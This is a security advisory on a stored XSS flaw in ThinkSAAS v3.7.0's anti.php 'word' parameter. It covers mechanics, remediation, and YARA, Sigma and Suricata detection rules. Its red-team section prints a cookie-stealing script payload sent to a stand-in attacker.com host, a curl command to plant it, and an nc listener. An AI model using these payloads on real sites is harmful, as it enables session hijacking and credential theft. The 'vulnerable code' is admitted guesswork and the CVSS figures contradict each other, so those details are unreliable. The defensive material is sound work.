CVE-2024-33101

Executive Summary

CVE-2024-33101 is a stored cross-site scripting (XSS) vulnerability identified in ThinkSAAS v3.7.0, specifically within the /action/anti.php component. An attacker can inject arbitrary web scripts or HTML via a crafted payload in the word parameter. This vulnerability allows for persistent client-side attacks, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium. No official patch or exploit code is publicly available at this time.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the stored XSS.
• User Interaction (UI): Required (R) – A victim must visit the affected page.
• Scope (SC): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 6.1). The lack of a patch and public PoC increases the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability resides in the /action/anti.php script, which processes user input for the word parameter. The application fails to sanitize or encode the input before storing it in the database and later rendering it in a web page. An attacker can submit a payload such as:

<script>alert('XSS')</script>

When an administrator or user views the page that displays the stored word value, the script executes in their browser context. This is a classic stored XSS (also known as persistent XSS) vulnerability.

The attack flow:

1. Attacker sends a POST request to /action/anti.php with a malicious word parameter.
2. The server stores the payload in the database without sanitization.
3. A victim (e.g., admin) navigates to a page that retrieves and renders the stored value.
4. The malicious script executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (ThinkSAAS v3.7.0):

The vulnerable code in /action/anti.php likely looks like:

<?php
$word = $_POST['word'];
// Directly store without sanitization
$db->query("INSERT INTO anti_spam (word) VALUES ('$word')");
?>

When displaying the stored value, it might be echoed directly:

<?php
echo $row['word'];
?>

Patched Code (Hypothetical):

A secure version would sanitize input and encode output:

<?php
$word = htmlspecialchars($_POST['word'], ENT_QUOTES, 'UTF-8');
// Use prepared statements to prevent SQL injection
$stmt = $db->prepare("INSERT INTO anti_spam (word) VALUES (?)");
$stmt->bind_param("s", $word);
$stmt->execute();
?>

And when displaying:

<?php
echo htmlspecialchars($row['word'], ENT_QUOTES, 'UTF-8');
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• ThinkSAAS v3.7.0 instance
• Access to the /action/anti.php endpoint

Exploitation Steps:

1. Craft the payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Send the malicious request:

   curl -X POST http://target.com/action/anti.php -d "word=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"
   

3. Set up a listener to capture cookies:

   nc -lvnp 80
   

4. Wait for an admin to visit the affected page.

Alternative Payloads:

• Session hijacking: <script>document.cookie='PHPSESSID=attacker_session_id';</script>
• Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>';</script>

Blue Team

Detection:

• Monitor for unusual POST requests to /action/anti.php containing <script> tags or event handlers.
• Look for anomalous outbound connections from the web server to unknown IPs.

Hunting:

• Search database entries in the anti_spam table for HTML/JavaScript content.
• Review web server logs for requests with encoded or suspicious word parameters.

Lab Setup:

• Deploy a vulnerable ThinkSAAS v3.7.0 instance in an isolated environment.
• Use a tool like Burp Suite to intercept and modify requests.
• Simulate the attack and observe the stored XSS behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /action/anti.php with word parameter containing <script> tags.
  • Outbound HTTP requests to attacker-controlled domains from the web server.
• File IOCs:
  • Modified database entries in the anti_spam table containing JavaScript.
• Behavioral IOCs:
  • Unexpected pop-ups or redirects when viewing anti-spam management pages.
  • Unauthorized administrative actions performed without user interaction.

Detection Engineering

YARA Rule

rule CVE_2024_33101_ThinkSAAS_XSS {
    meta:
        description = "Detects stored XSS payloads targeting ThinkSAAS v3.7.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33101"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/is
        $word_param = "word="
    condition:
        $word_param and ($xss_payload or $event_handler)
}

Sigma Rule

title: Stored XSS in ThinkSAAS v3.7.0
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-33101 via POST requests to /action/anti.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/action/anti.php'
        cs-uri-query|contains: 'word='
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in anti-spam words (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33101 ThinkSAAS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/action/anti.php"; http_uri; content:"word="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /action/anti.php endpoint if not required, using web server access controls.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in the word parameter.
3. Manually sanitize existing database entries to remove any malicious payloads.

Long-term Fix:

• Apply input validation and output encoding as shown in the patched code section.
• Use prepared statements for database queries to prevent SQL injection.
• Regularly update ThinkSAAS to the latest version if a patch becomes available.

Workarounds:

• Restrict access to the admin panel using IP whitelisting or VPN.
• Educate administrators to avoid clicking on suspicious links or visiting untrusted pages while logged in.

Valters IT